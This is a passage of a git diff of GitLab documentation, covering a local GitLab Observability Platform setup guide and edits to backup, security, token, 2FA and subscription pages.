project](https://gitlab.com/gitlab-org/opstrace/opstrace.git) and creating a local installation. + +## Prerequisites and dependencies + +To install GitLab Observability Platform (GOP), install and configure the following third-party dependencies. You can do this manually, or [automatically by using asdf](#install-dependencies-using-asdf): + +- [kind](https://kind.sigs.k8s.io/docs/user/quick-start/#installation) for creating a local Kubernetes cluster. +- [Docker](https://docs.docker.com/install) + - [Docker Compose](https://docs.docker.com/compose/compose-v2/) is now part of the `docker` distribution. +- [kubectl](https://kubernetes.io/docs/tasks/tools/#kubectl) for interacting with GitLab Observability. +- [Telepresence](https://www.telepresence.io/) allows you to code and test microservices locally against a remote Kubernetes cluster. +- [jq](https://stedolan.github.io/jq/download/) for some Makefile utilities. +- [Go 1.19](https://go.dev/doc/install). + +The current versions of these dependencies are pinned in the `.tool-versions` file in the project. + +You can run the following commands to check the availability and versions of these dependencies on your machine: + +```shell +kind --version +docker --version +kubectl version +telepresence version +jq --version +go version +``` + +### Run GOP on macOS + +If you're running GOP on macOS, ensure you have enough resources dedicated to Docker Desktop. The recommended minimum is: + +- CPUs: 4+ +- Memory: 8 GB+ +- Swap: 1 GB+ + +It's possible to run GOP with fewer resources, but this specification works. + +### Install dependencies using asdf + +If you install dependencies using [`asdf`](https://asdf-vm.com/#/core-manage-asdf), GOP manages them for you automatically. + +1. If you have not already done so, clone the `opstrace` repository into your preferred location: + + ```shell + git clone https://gitlab.com/gitlab-org/opstrace/opstrace.git + ``` + +1. Change into the project directory: + + ```shell + cd opstrace + ``` + +1. Optional. If you need to install `asdf`, run: + + ```shell + make install-asdf + ``` + +1. Install dependencies using `asdf`: + + ```shell + make bootstrap + ``` + +## Step 1: Create a local Kubernetes cluster with kind + +Make sure Docker Desktop is running. In the `opstrace` project you cloned, run the following command: + +```shell +make kind +``` + +Wait a few minutes while kind creates your Kubernetes cluster. When it's finished, you should see the following message: + +```plaintext +Traffic Manager installed successfully +``` + +Now deploy the scheduler by running the following command in the `opstrace` project: + +```shell +make deploy +``` + +This takes around 1 minute. + +## Step 2: Create a GitLab application for authentication + +You must create a GitLab application to use for authentication. + +In the GitLab instance you'd like to connect with GOP, [create an OAuth application](../integration/oauth_provider.md). +This application can be a user-owned, group-owned or instance-wide application. +In production, you would create a trusted instance-wide application so that users are explicitly authorized without the consent screen. +The following example shows how to configure the application. + +1. Select the API scope and enter `http://localhost/v1/auth/callback` as the redirect URI. + +1. Run the following command to create the secret that holds the authentication data: + + ```shell + kubectl create secret generic \ + --from-literal=gitlab_oauth_client_id=<gitlab_application_client_id> \ + --from-literal=gitlab_oauth_client_secret=<gitlab_application_client_secret> \ + --from-literal=internal_endpoint_token=<error_tracking_internal_endpoint_token> \ + dev-secret + ``` + +1. Replace `<gitlab_application_client_id>` and `<gitlab_application_client_secret>` with the values from the GitLab application you just created. +Replace `<error_tracking_internal_endpoint_token>` with any string if you do not plan to use error tracking. + +You can also view [this MR on how to get the token to test error tracking](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/91928). +You must specify all the parameters when creating the secret. + +## Step 3: Create the cluster definition + +1. In your `opstrace` project, run the following command to create a `Cluster.yaml` manifest file: + + ```shell + cat <<EOF > Cluster.yaml + apiVersion: opstrace.com/v1alpha1 + kind: Cluster + metadata: + name: dev-cluster + spec: + target: kind + goui: + image: "registry.gitlab.com/gitlab-org/opstrace/opstrace-ui/ gitlab-observability-ui:c9fb6e70" + dns: + acmeEmail: "" + dns01Challenge: {} + externalDNSProvider: {} + gitlab: + groupAllowedAccess: '*' + groupAllowedSystemAccess: "6543" + instanceUrl: https://gitlab.com + authSecret: + name: dev-secret + EOF + ``` + +1. Apply the file you just created with the following command: + + ```shell + kubectl apply -f Cluster.yaml + ``` + +1. Run the following command to wait for the cluster to be ready: + + ```shell + kubectl wait --for=condition=ready cluster/dev-cluster --timeout=600s + ``` + +After the previous command exits, the cluster is ready. + +## Step 4: Enable Observability on a GitLab namespace you own + +Go to a namespace you own in the connected GitLab instance and copy the Group ID below the group name. + +GOP can only be enabled for groups you own. +To list all the groups that your user owns, go to the menu in upper left corner and select `Groups`->`View all Groups`. You then see the **Your groups** tab. + +In your browser, go to `http://localhost/-/{GroupID}`. For example, `http://localhost/-/14485840`. + +Follow the on-screen instructions to enable observability for the namespace. +This can take a couple of minutes if it's the first time observability has been enabled for the root level namespace (GitLab.org in the previous example.) + +Once your namespace has been enabled and is ready, the page automatically redirects you to the GitLab Observability UI. + +## Step 5: Send traces to GOP + +[Follow this guide to send traces to your namespace and monitor them in the UI](https://gitlab.com/gitlab-org/opstrace/opstrace/-/blob/main/docs/guides/user/sending-traces-locally.md). + +## Step 6: Clean up your local GOP + +To tear down your locally running GOP instance, run the following command: + +```shell +make destroy +``` + +## Known issues + +### Incorrect architecture for `kind/node` image + +If your machine has an Apple silicon (M1/M2) chip, you might encounter an architecture problem with the `kind/node` image when running the `make kind` command. For more details, see [issue 1802](https://gitlab.com/gitlab-org/opstrace/opstrace/-/issues/1802). + +To fix this problem, you first need to create a Dockerfile. Then build and deploy the image: + +1. Create a new Dockerfile (without a file extension) and paste the following commands: + + ```Dockerfile + FROM --platform=arm64 kindest/node:v1.23.13 + RUN arch + ``` + +1. Save your Dockerfile, then build the image with the following command: + + ```shell + docker build -t tempkind . + ``` + + Do not forget the period at the end. + +1. Create a cluster using your new image with the following command: + + ```shell + kind create cluster --image tempkind + ``` + +### scheduler-controller-manager pod cannot start due to ImagePullBackOff + +If while executing `make deploy` in step 1, the `scheduler-controller-manager` pod cannot start due to `ImagePullBackOff`, you must set the `CI_COMMIT_TAG` to a non-dirty state. By setting the commit tag to the latest commit, you ensure the Docker image can be pulled from the container registry. + +Run the following command to set the commit tag: + +```shell +make kind +export CI_COMMIT_TAG=0.2.0-e1206acf +make deploy +``` diff --git a/doc/policy/alpha-beta-support.md b/doc/policy/alpha-beta-support.md index 5a7c1962d12..1c7e9e77751 100644 --- a/doc/policy/alpha-beta-support.md +++ b/doc/policy/alpha-beta-support.md @@ -19,7 +19,7 @@ Characteristics of Alpha features: - Not ready for production use. - Unstable and can cause performance and stability issues. - Configuration and dependencies are likely to change. -- Features and functions may be removed. +- Features and functions may be removed. Breaking changes may occur outside of major releases or with less notice than for Beta or Generally Available features. - Data loss can occur (be that through bugs or updates). - Documentation reflects the Alpha status. - Behind flags that are off by default. @@ -36,7 +36,7 @@ Closed Beta features are available to selected users only. - Not ready for production use. - Unstable and can cause performance and stability issues. - Configuration and dependencies unlikely to change. -- Features and functions unlikely to change. +- Features and functions unlikely to change. However, breaking changes may occur outside of major releases or with less notice than for Generally Available features. - Data loss less likely. - Behind a feature flag that is off by default and the UI reflects Beta status. - Documentation reflects Beta status. @@ -47,7 +47,7 @@ Closed Beta features are available to selected users only. - Not ready for production use. - Unstable and can cause performance and stability issues. - Configuration and dependencies unlikely to change. -- Features and functions unlikely to change. +- Features and functions unlikely to change. However, breaking changes may occur outside of major releases or with less notice than for Generally Available features. - Data loss not likely. - Support on a commercially-reasonable effort basis. - Documentation reflects Beta status. diff --git a/doc/raketasks/backup_gitlab.md b/doc/raketasks/backup_gitlab.md index ffa67c6b4a9..d63ef61a99f 100644 --- a/doc/raketasks/backup_gitlab.md +++ b/doc/raketasks/backup_gitlab.md @@ -216,7 +216,7 @@ To ensure the generated archive is transferable by rsync, you can set the `GZIP_ option. This sets the `--rsyncable` option to `gzip`, which is useful only in combination with setting [the Backup filename option](#backup-filename). -Note that the `--rsyncable` option in `gzip` isn't guaranteed to be available +The `--rsyncable` option in `gzip` isn't guaranteed to be available on all distributions. To verify that it's available in your distribution, run `gzip --help` or consult the man pages. @@ -241,8 +241,6 @@ You can exclude specific directories from the backup by adding the environment v - `repositories` (Git repositories data) - `packages` (Packages) -All wikis are backed up as part of the `repositories` group. Non-existent wikis are skipped during a backup. - NOTE: When [backing up and restoring Helm Charts](https://docs.gitlab.com/charts/architecture/backup-restore.html), there is an additional option `packages`, which refers to any packages managed by the GitLab [package registry](../user/packages/package_registry/index.md). For more information see [command line arguments](https://docs.gitlab.com/charts/architecture/backup-restore.html#command-line-arguments). @@ -437,6 +435,8 @@ For Omnibus GitLab packages: # 'use_iam_profile' => true } gitlab_rails['backup_upload_remote_directory'] = 'my.s3.bucket' + # Consider using multipart uploads when file size reaches 100MB. Enter a number in bytes. + # gitlab_rails['backup_multipart_chunk_size'] = 104857600 ``` 1. [Reconfigure GitLab](../administration/restart_gitlab.md#omnibus-gitlab-reconfigure) @@ -468,7 +468,7 @@ gitlab_rails['backup_upload_storage_options'] = { ##### SSE-KMS -To enable SSE-KMS, you'll need the +To enable SSE-KMS, you need the [KMS key via its Amazon Resource Name (ARN) in the `arn:aws:kms:region:acct-id:key/key-id` format](https://docs.aws.amazon.com/AmazonS3/latest/userguide/UsingKMSEncryption.html). Under the `backup_upload_storage_options` configuration setting, set: diff --git a/doc/raketasks/backup_restore.md b/doc/raketasks/backup_restore.md index 796cb71321a..a13d38a199d 100644 --- a/doc/raketasks/backup_restore.md +++ b/doc/raketasks/backup_restore.md @@ -761,7 +761,9 @@ Backup failed If this happens, examine the following: -- Confirm there is sufficient disk space for the Gzip operation. +- Confirm there is sufficient disk space for the Gzip operation. It's not uncommon for backups that + use the [default strategy](backup_gitlab.md#backup-strategy-option) to require half the instance size + in free disk space during backup creation. - If NFS is being used, check if the mount option `timeout` is set. The default is `600`, and changing this to smaller values results in this error. @@ -811,7 +813,7 @@ You must truncate the files referenced by the database that are causing the prob - In the `uploads` table. - In the references found. Any reference found from other database tables and columns. -- On the filesystem. +- On the file system. Truncate the filenames in the `uploads` table: @@ -979,7 +981,7 @@ Truncate the filenames in the references found: 1. Replace those long filenames using the new filenames obtained from querying the `uploads` table. -Truncate the filenames on the filesystem. You must manually rename the files in your filesystem to the new filenames obtained from querying the `uploads` table. +Truncate the filenames on the file system. You must manually rename the files in your file system to the new filenames obtained from querying the `uploads` table. #### Re-run the backup task diff --git a/doc/raketasks/cleanup.md b/doc/raketasks/cleanup.md index 60c81b26c05..073a0351ec5 100644 --- a/doc/raketasks/cleanup.md +++ b/doc/raketasks/cleanup.md @@ -45,7 +45,7 @@ By default, this task does not delete anything but shows how many file reference delete. Run the command with `DRY_RUN=false` if you actually want to delete the references. You can also use `LIMIT={number}` parameter to limit the number of deleted references. -Note that this Rake task only removes the references to LFS files. Unreferenced LFS files are garbage-collected +This Rake task only removes the references to LFS files. Unreferenced LFS files are garbage-collected later (once a day). If you need to garbage collect them immediately, run `rake gitlab:cleanup:orphan_lfs_files` described below. diff --git a/doc/raketasks/import.md b/doc/raketasks/import.md index 05c51fa06d8..5ab62215570 100644 --- a/doc/raketasks/import.md +++ b/doc/raketasks/import.md @@ -23,7 +23,7 @@ migrate projects using either: - [Direct transfer](../user/group/import/index.md#migrate-groups-by-direct-transfer-recommended). - [An export file](../user/project/settings/import_export.md). -Note that: +When you import a repository: - The owner of the project is the first administrator. - The groups are created as needed, including subgroups. @@ -159,7 +159,7 @@ project.set_full_path ``` In a Rails console session, run the following to migrate all of a namespace's -projects (this may take a while if there are 1000s of projects in a namespace): +projects (this may take a while if there are thousands of projects in a namespace): ```ruby namespace = Namespace.find_by_full_path('gitlab-org') diff --git a/doc/raketasks/index.md b/doc/raketasks/index.md index 0d5a826b0a1..b5a778d6b74 100644 --- a/doc/raketasks/index.md +++ b/doc/raketasks/index.md @@ -28,8 +28,8 @@ The following Rake tasks are available for use with GitLab: | [General maintenance](../administration/raketasks/maintenance.md) | General maintenance and self-check tasks. | | [Geo maintenance](../administration/raketasks/geo.md) | [Geo](../administration/geo/index.md)-related maintenance. | | [GitHub import](../administration/raketasks/github_import.md) | Retrieve and import repositories from GitHub. | -| [Import repositories](import.md) | Import bare repositories into your GitLab instance. | | [Import large project exports](../development/import_project.md#importing-via-a-rake-task) | Import large GitLab [project exports](../user/project/settings/import_export.md). | +| [Incoming email](../administration/raketasks/incoming_email.md) | Incoming email-related tasks. | | [Integrity checks](../administration/raketasks/check.md) | Check the integrity of repositories, files, LDAP, and more. | | [LDAP maintenance](../administration/raketasks/ldap.md) | [LDAP](../administration/auth/ldap/index.md)-related tasks. | | [List repositories](list_repos.md) | List all GitLab-managed Git repositories on disk. | @@ -38,6 +38,7 @@ The following Rake tasks are available for use with GitLab: | [Project import/export](../administration/raketasks/project_import_export.md) | Prepare for [project exports and imports](../user/project/settings/import_export.md). | | [Sample Prometheus data](generate_sample_prometheus_data.md) | Generate sample Prometheus data. | | [Sidekiq job migration](../administration/sidekiq/sidekiq_job_migration.md) | Migrate Sidekiq jobs scheduled for future dates to a new queue. | +| [Service Desk email](../administration/raketasks/service_desk_email.md) | Service Desk email-related tasks. | | [SMTP maintenance](../administration/raketasks/smtp.md) | SMTP-related tasks. | | [SPDX license list import](spdx.md) | Import a local copy of the [SPDX license list](https://spdx.org/licenses/) for matching [License Compliance policies](../user/compliance/license_compliance/index.md). | | [Repository storage](../administration/raketasks/storage.md) | List and migrate existing projects and attachments from legacy storage to hashed storage. | diff --git a/doc/raketasks/restore_gitlab.md b/doc/raketasks/restore_gitlab.md index c97a71b1b5d..c5bbb38cc37 100644 --- a/doc/raketasks/restore_gitlab.md +++ b/doc/raketasks/restore_gitlab.md @@ -44,10 +44,6 @@ or `/home/git/gitlab/config/gitlab.yml` (for installations from source) and any TLS keys, certificates (`/etc/gitlab/ssl`, `/etc/gitlab/trusted-certs`), or [SSH host keys](https://superuser.com/questions/532040/copy-ssh-keys-from-one-server-to-another-server/532079#532079). -Starting with GitLab 12.9, if an untarred backup (like the ones made with -`SKIP=tar`) is found, and no backup is chosen with `BACKUP=<timestamp>`, the -untarred backup is used. - Depending on your case, you might want to run the restore command with one or more of the following options: @@ -383,3 +379,20 @@ For example, to restore all repositories for all projects in **Group A** (`group ```shell sudo -u git -H bundle exec rake gitlab:backup:restore BACKUP=timestamp_of_backup REPOSITORIES_PATHS=group-a,group-b/project-c ``` + +### Restore untarred backups + +If an [untarred backup](backup_gitlab.md#skipping-tar-creation) (made with `SKIP=tar`) is found, +and no backup is chosen with `BACKUP=<timestamp>`, the untarred backup is used. + +For example, for Omnibus GitLab installations: + +```shell +sudo gitlab-backup restore +``` + +For example, for installations from source: + +```shell +sudo -u git -H bundle exec rake gitlab:backup:restore +``` diff --git a/doc/security/crime_vulnerability.md b/doc/security/crime_vulnerability.md index e5d8d858df2..39cd8f8e074 100644 --- a/doc/security/crime_vulnerability.md +++ b/doc/security/crime_vulnerability.md @@ -27,7 +27,7 @@ files are here: - [Omnibus installation NGINX file](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/files/gitlab-cookbooks/gitlab/templates/default/nginx-gitlab-http.conf.erb) Although SPDY is enabled in Omnibus installations, CRIME relies on compression -(the 'C') and the default compression level in NGINX's SPDY module is 0 +(the 'C') and the default compression level in the NGINX SPDY module is 0 (no compression). ## Nessus @@ -50,7 +50,7 @@ The following configuration indicates that the remote service may be vulnerable SPDY support earlier than version 4 is advertised. ``` -From the report above it is important to note that Nessus is only checking if +The report above indicates that Nessus is only checking if TLS advertises the SPDY protocol earlier than version 4. It does not perform an attack nor does it check if compression is enabled. The Nessus scanner alone cannot tell that SPDY compression is disabled and not subject to the CRIME diff --git a/doc/security/img/unlock_user_v14_7.png b/doc/security/img/unlock_user_v14_7.png Binary files differdeleted file mode 100644 index 51015d932cb..00000000000 --- a/doc/security/img/unlock_user_v14_7.png +++ /dev/null diff --git a/doc/security/project_import_decompressed_archive_size_limits.md b/doc/security/project_import_decompressed_archive_size_limits.md index 4358e0a5566..980a084347a 100644 --- a/doc/security/project_import_decompressed_archive_size_limits.md +++ b/doc/security/project_import_decompressed_archive_size_limits.md @@ -10,7 +10,7 @@ type: reference, howto > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31564) in GitLab 13.2. > - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63025) in GitLab 14.0. -When using [Project Import](../user/project/settings/import_export.md), the size of the decompressed project archive is limited to 10Gb. +When using [Project Import](../user/project/settings/import_export.md), the size of the decompressed project archive is limited to 10 Gb. If decompressed size exceeds this limit, `Decompressed archive size validation failed` error is returned. diff --git a/doc/security/rate_limits.md b/doc/security/rate_limits.md index 26a17ef2c2c..a9ccbccaa90 100644 --- a/doc/security/rate_limits.md +++ b/doc/security/rate_limits.md @@ -8,7 +8,7 @@ type: reference, howto # Rate limits **(FREE SELF)** NOTE: -For GitLab.com, please see +For GitLab.com, see [GitLab.com-specific rate limits](../user/gitlab_com/index.md#gitlabcom-specific-rate-limits). Rate limiting is a common technique used to improve the security and durability diff --git a/doc/security/responding_to_security_incidents.md b/doc/security/responding_to_security_incidents.md index fb35c389583..5c00c53c5bf 100644 --- a/doc/security/responding_to_security_incidents.md +++ b/doc/security/responding_to_security_incidents.md @@ -26,7 +26,7 @@ If you suspect that a user account or bot account has been compromised, consider - Addition or modification of runners. - Addition or modification of webhooks or Git hooks. - Reset any credentials the user might have had access to. For example, users with at least the Maintainer role can view protected - [CI/CD variables](../ci/variables/index.md) and [runner registration tokens](token_overview.md#runner-registration-tokens). + [CI/CD variables](../ci/variables/index.md) and [runner registration tokens](token_overview.md#runner-registration-tokens-deprecated). - [Reset the user's password](reset_user_password.md). - Get the user to [enable two factor authentication](../user/profile/account/two_factor_authentication.md) (2FA), and consider [enforcing 2FA at the instance or group level](two_factor_authentication.md) - After completing an investigation and mitigating impacts, unblock the user. diff --git a/doc/security/token_overview.md b/doc/security/token_overview.md index 64336f96274..a36d72f128d 100644 --- a/doc/security/token_overview.md +++ b/doc/security/token_overview.md @@ -28,7 +28,7 @@ You can limit the scope and lifetime of your OAuth2 tokens. ## Impersonation tokens -An [Impersonation token](../api/index.md#impersonation-tokens) is a special type of personal access +An [Impersonation token](../api/rest/index.md#impersonation-tokens) is a special type of personal access token. It can be created only by an administrator for a specific user. Impersonation tokens can help you build applications or scripts that authenticate with the GitLab API, repositories, and the GitLab registry as a specific user. @@ -74,7 +74,14 @@ This is useful, for example, for cloning repositories to your Continuous Integra Project maintainers and owners can add or enable a deploy key for a project repository -## Runner registration tokens +## Runner registration tokens (deprecated) + +WARNING: +The ability to pass a runner registration token was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/380872) in GitLab 15.6 and is +planned for removal in 17.0, along with support for certain configuration arguments. This change is a breaking change. GitLab plans to introduce a new +[GitLab Runner token architecture](../architecture/blueprints/runner_tokens/index.md), which introduces +a new method for registering runners and eliminates the +runner registration token. Runner registration tokens are used to [register](https://docs.gitlab.com/runner/register/) a [runner](https://docs.gitlab.com/runner/) with GitLab. Group or project owners or instance administrators can obtain them through the GitLab user interface. The registration token is limited to runner registration and has no further scope. @@ -100,6 +107,23 @@ triggering the job. The job token is secured by its short life-time and limited scope. It could possibly be leaked if multiple jobs run on the same machine ([like with the shell runner](https://docs.gitlab.com/runner/security/#usage-of-shell-executor)). On Docker Machine runners, configuring [`MaxBuilds=1`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runnersmachine-section) is recommended to make sure runner machines only ever run one build and are destroyed afterwards. This may impact performance, as provisioning machines takes some time. +## Other tokens + +### Feed token + +Each user has a long-lived feed token that does not expire. This token allows authentication for: + +- RSS readers to load a personalized RSS feed. +- Calendar applications to load a personalized calendar. + +This token is visible in those feed URLs. You cannot use this token to access any other data. + +Anyone who has your token can read activity and issue RSS feeds or your calendar feed as if they were you, including confidential issues. If that happens, [reset the token](../user/profile/contributions_calendar.md#reset-the-user-activity-feed-token). + +### Incoming email token + +Each user has a long-lived incoming email token that does not expire. This token allows a user to [create a new issue by email](../user/project/issues/create_issues.md#by-sending-an-email), and is included in that user's personal project-specific email addresses. You cannot use this token to access any other data. Anyone who has your token can create issues and merge requests as if they were you. If that happens, reset the token. + ## Available scopes This table shows available scopes per token. Scopes can be limited further on token creation. @@ -127,7 +151,7 @@ This table shows available scopes per token. Scopes can be limited further on to - Access tokens should be treated like passwords and kept secure. - Adding access tokens to URLs is a security risk, especially when cloning or adding a remote because Git then writes the URL to its `.git/config` file in plain text. URLs are also generally logged by proxies and application servers, which makes those credentials visible to system administrators. Instead, pass API calls an access token using - headers like [the `Private-Token` header](../api/index.md#personalprojectgroup-access-tokens). + headers like [the `Private-Token` header](../api/rest/index.md#personalprojectgroup-access-tokens). - Tokens can also be stored using a [Git credential storage](https://git-scm.com/book/en/v2/Git-Tools-Credential-Storage). - Tokens must not be committed to your source code. Instead, consider an approach such as [using external secrets in CI](../ci/secrets/index.md). - When creating a scoped token, consider using the most limited scope possible to reduce the impact of accidentally leaking the token. diff --git a/doc/security/two_factor_authentication.md b/doc/security/two_factor_authentication.md index 95915c4e03b..a419ca4f3eb 100644 --- a/doc/security/two_factor_authentication.md +++ b/doc/security/two_factor_authentication.md @@ -138,8 +138,8 @@ sudo -u git -H bundle exec rake gitlab:two_factor:disable_for_all_users RAILS_EN FLAG: On self-managed GitLab, by default this feature is not available. To make it available, ask an administrator to [enable the feature flag](../administration/feature_flags.md) named `two_factor_for_cli`. On GitLab.com, this feature is not available. The feature is not ready for production use. This feature flag also affects [session duration for Git Operations when 2FA is enabled](../user/admin_area/settings/account_and_limit_settings.md#customize-session-duration-for-git-operations-when-2fa-is-enabled). -Two-factor authentication can be enforced for Git over SSH operations. However, we recommend using -[ED25519_SK](../user/ssh.md#ed25519_sk-ssh-keys) or [ECDSA_SK](../user/ssh.md#ecdsa_sk-ssh-keys) SSH keys instead. +You can enforce 2FA for [Git over SSH operations](../development/gitlab_shell/features.md#git-operations). However, you should use +[ED25519_SK](../user/ssh.md#ed25519_sk-ssh-keys) or [ECDSA_SK](../user/ssh.md#ecdsa_sk-ssh-keys) SSH keys instead. 2FA is enforced for Git operations only, and internal commands such as [`personal_access_token`](../development/gitlab_shell/features.md#personal-access-token) are excluded. To perform one-time password (OTP) verification, run: @@ -153,7 +153,7 @@ Then authenticate by either: - In GitLab 15.3 and later, responding to a device push notification if [FortiAuthenticator is enabled](../user/profile/account/two_factor_authentication.md#enable-one-time-password-using-fortiauthenticator). -After successful authentication, you can perform Git over SSH operations for 15 minutes (default) with the associated +After successful authentication, you can perform [Git over SSH operations](../development/gitlab_shell/features.md#git-operations) for 15 minutes (default) with the associated SSH key. ### Security limitation diff --git a/doc/security/unlock_user.md b/doc/security/unlock_user.md index 9a1f60f2462..279f466e106 100644 --- a/doc/security/unlock_user.md +++ b/doc/security/unlock_user.md @@ -17,9 +17,7 @@ Users are locked after ten failed sign-in attempts. These users remain locked: 1. On the top bar, select **Main menu > Admin**. 1. On the left sidebar, select **Overview > Users**. 1. Use the search bar to find the locked user. -1. From the **User administration** dropdown list select **Unlock**. - - +1. From the **User administration** dropdown list, select **Unlock**. ## Unlock a user from the command line diff --git a/doc/subscriptions/gitlab_com/index.md b/doc/subscriptions/gitlab_com/index.md index 8fce04ec109..632581e66d3 100644 --- a/doc/subscriptions/gitlab_com/index.md +++ b/doc/subscriptions/gitlab_com/index.md @@ -37,7 +37,7 @@ To subscribe to GitLab SaaS: 1. Create additional users and [add them to the group](../../user/group/manage.md#add-users-to-a-group). The users in this group, its subgroups, and projects can use the features of your subscription tier, and they consume a seat in your subscription. -1. On the left sidebar, select **Billing** and choose a tier. +1. On the left sidebar, select **Settings > Billing** and choose a tier. 1. Fill out the form to complete your purchase. ## View your GitLab SaaS subscription @@ -296,7 +296,7 @@ To renew your subscription: 1. Log in to the [Customers Portal](https://customers.gitlab.com/customers/sign_in) and beneath your existing subscription, select **Renew**. The **Renew** button remains disabled (grayed-out) until 15 days before a subscription expires. -You can hover your mouse on the **Renew** button to see the date when it will become active. +You can hover your mouse on the **Renew** button to see the date when it becomes active. 1. Review your renewal details and complete the payment process. 1. Select **Confirm purchase**. @@ -362,7 +362,7 @@ for your personal or group namespace. CI/CD minutes are a **one-time purchase**, ## Add-on subscription for additional Storage and Transfer NOTE: -Free namespaces are subject to a 5GB storage and 10GB transfer [soft limit](https://about.gitlab.com/pricing/). Once all storage is available to view in the usage quota workflow, GitLab will automatically enforce the namespace storage limit and the project limit will be removed. This change will be announced separately. The storage and transfer add-on can be purchased to increase the limits. +Free namespaces are subject to a 5 GB storage and 10 GB transfer [soft limit](https://about.gitlab.com/pricing/). Once all storage is available to view in the usage quota workflow, GitLab will automatically enforce the namespace storage limit and the project limit is removed. This change is announced separately. The storage and transfer add-on can be purchased to increase the limits. Projects have a free storage quota of 10 GB. To exceed this quota you must first [purchase one or more storage subscription units](#purchase-more-storage-and-transfer). Each unit provides 10 GB of additional @@ -449,7 +449,7 @@ and for communicating directly with the relevant GitLab team members. If your credit card is declined when purchasing a GitLab subscription, possible reasons include: -- The credit card details provided are incorrect. The most common cause for this is an incomplete or dummy address. +- The credit card details provided are incorrect. The most common cause for this is an incomplete or fake address. - The credit card account has insufficient funds. - You are using a virtual credit card and it has insufficient funds, or has expired. - The transaction exceeds the credit limit. diff --git a/doc/subscriptions/gitlab_dedicated/index.md b/doc/subscriptions/gitlab_dedicated/index.md index b471d1d971f..2d684edb992 100644 --- a/doc/subscriptions/gitlab_dedicated/index.md +++ b/doc/subscriptions/gitlab_dedicated/index.md @@ -1,6 +1,6 @@ --- -stage: Systems -group: Distribution +stage: SaaS Platforms +group: GitLab Dedicated info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- @@ -47,7 +47,7 @@ The following GitLab application features are not available: - FortiAuthenticator, or FortiToken 2FA - Reply-by email - Service Desk -- GitLab-managed runners +- GitLab-managed runners (hosted runners) - Any feature [not listed above](#available-features) which must be configured outside of the GitLab user interface. The following features will not be supported: @@ -64,7 +64,9 @@ The following operational features are not available: - Multiple Geo secondaries (Geo replicas) beyond the secondary site included by default - Self-serve purchasing and configuration - Multiple login providers -- Non-AWS cloud providers, such as GCP or Azure +- Support for deploying to non-AWS cloud providers, such as GCP or Azure +- Observability Dashboard using Switchboard +- Pre-Production Instance ### AWS regions not supported @@ -82,8 +84,9 @@ The following AWS regions are not available: ## Planned features -Learn more about the planned improvements to GitLab Dedicated on the public [direction page](https://about.gitlab.com/direction/saas-platforms/dedicated/). +For more information about the planned improvements to GitLab Dedicated, +see the [category direction page](https://about.gitlab.com/direction/saas-platforms/dedicated/). -## Learn more about GitLab Dedicated and join our waitlist +## Join the GitLab Dedicated waitlist -As we scale this new offering, we are making GitLab Dedicated available by inviting customers to learn more and join our waitlist [on our website](https://about.gitlab.com/single-tenant-saas). +As we scale this new offering, we are making GitLab Dedicated available by inviting customers to [join our waitlist](https://about.gitlab.com/dedicated/). diff --git a/doc/subscriptions/index.md b/doc/subscriptions/index.md index 9fec4abe8e7..2c9f93886bf 100644 --- a/doc/subscriptions/index.md +++ b/doc/subscriptions/index.md @@ -234,10 +234,8 @@ For qualifying startups, the [GitLab for Startups](https://about.gitlab.com/solu ## Contact Support -Learn more about: - -- The tiers of [GitLab Support](https://about.gitlab.com/support/). -- [Submit a request via the Support Portal](https://support.gitlab.com/hc/en-us/requests/new). +- See the tiers of [GitLab Support](https://about.gitlab.com/support/). +- [Submit a request](https://support.gitlab.com/hc/en-us/requests/new) through the Support Portal. We also encourage all users to search our project trackers for known issues and existing feature requests in the [GitLab project](https://gitlab.com/gitlab-org/gitlab/-/issues/). diff --git a/doc/subscriptions/quarterly_reconciliation.md b/doc/subscriptions/quarterly_reconciliation.md index 508dd2924e3..126a34334c4 100644 --- a/doc/subscriptions/quarterly_reconciliation.md +++ b/doc/subscriptions/quarterly_reconciliation.md @@ -34,12 +34,12 @@ and for only the remaining quarters. Using the same example, if a seat is $100 per year, then it is $25 per quarter. -- In Q1, you had a maximum of 110 users. 10 users over license x $25 per user x 3 quarters = **$750** +- In Q1, you had a maximum of 110 users. 10 users over subscription x $25 per user x 3 quarters = **$750** The license is now paid for 110 users. - In Q2, 105 users was the maximum. You did not go over 110 users, so no charge. -- In Q3, you had 120 users. 10 users over license x $25 per user x 1 remaining quarter = **$250** +- In Q3, you had 120 users. 10 users over subscription x $25 per user x 1 remaining quarter = **$250** The license is now paid for 120 users. - In Q4, you had 120 users. You did not exceed the number of users. However, if you had, you would not be charged, because in Q4, there are no charges for exceeding the number. @@ -71,10 +71,28 @@ sent and subject to your terms. ### Self-managed instances Administrators receive an email **six days after the reconciliation date**. -This email communicates the [overage seat quantity](self_managed/index.md#users-over-license) +This email communicates the [overage seat quantity](self_managed/index.md#users-over-subscription) and expected invoice amount. **Seven days later**, the subscription is updated to include the additional seats, and an invoice is generated for a prorated amount. If a credit card is on file, a payment is automatically applied. Otherwise, an invoice is sent and subject to your payment terms. + +## Quarterly reconciliation eligibility + +### You are automatically enrolled in quarterly reconciliation if + +- The credit card you used to purchase your subscription is still linked to your GitLab account. +- You purchased your subscription through an invoice. + +### You are excluded from quarterly reconciliation if + +- You purchased your subscription from a reseller or another channel partner. +- You purchased a multi-year subscription. +- You purchased your subscription with a purchasing order. +- You are a pubic sector customer. +- You have an offline environment and used a license file to activate your subscription. +- You are enrolled in a program that provides a free tier such as the GitLab for Education, GitLab for Open Source Program, or GitLab for Startups. + +If you are excluded from quarterly reconciliation and not on a free tier, your true-ups are reconciled annually. diff --git a/doc/subscriptions/self_managed/index.md b/doc/subscriptions/self_managed/index.md index e5114b092da..b5436b6cb72 100644 --- a/doc/subscriptions/self_managed/index.md +++ b/doc/subscriptions/self_managed/index.md @@ -46,7 +46,7 @@ according to the [maximum number](#maximum-users) of users enabled during the su For instances that aren't offline or on a closed network, the maximum number of simultaneous users in the GitLab self-managed installation is checked each quarter. -If an instance is unable to generate a quarterly usage report, the existing [true up model](#users-over-license) is used. +If an instance is unable to generate a quarterly usage report, the existing [true up model](#users-over-subscription) is used. Prorated charges are not possible without a quarterly usage report. ### View user totals @@ -82,20 +82,20 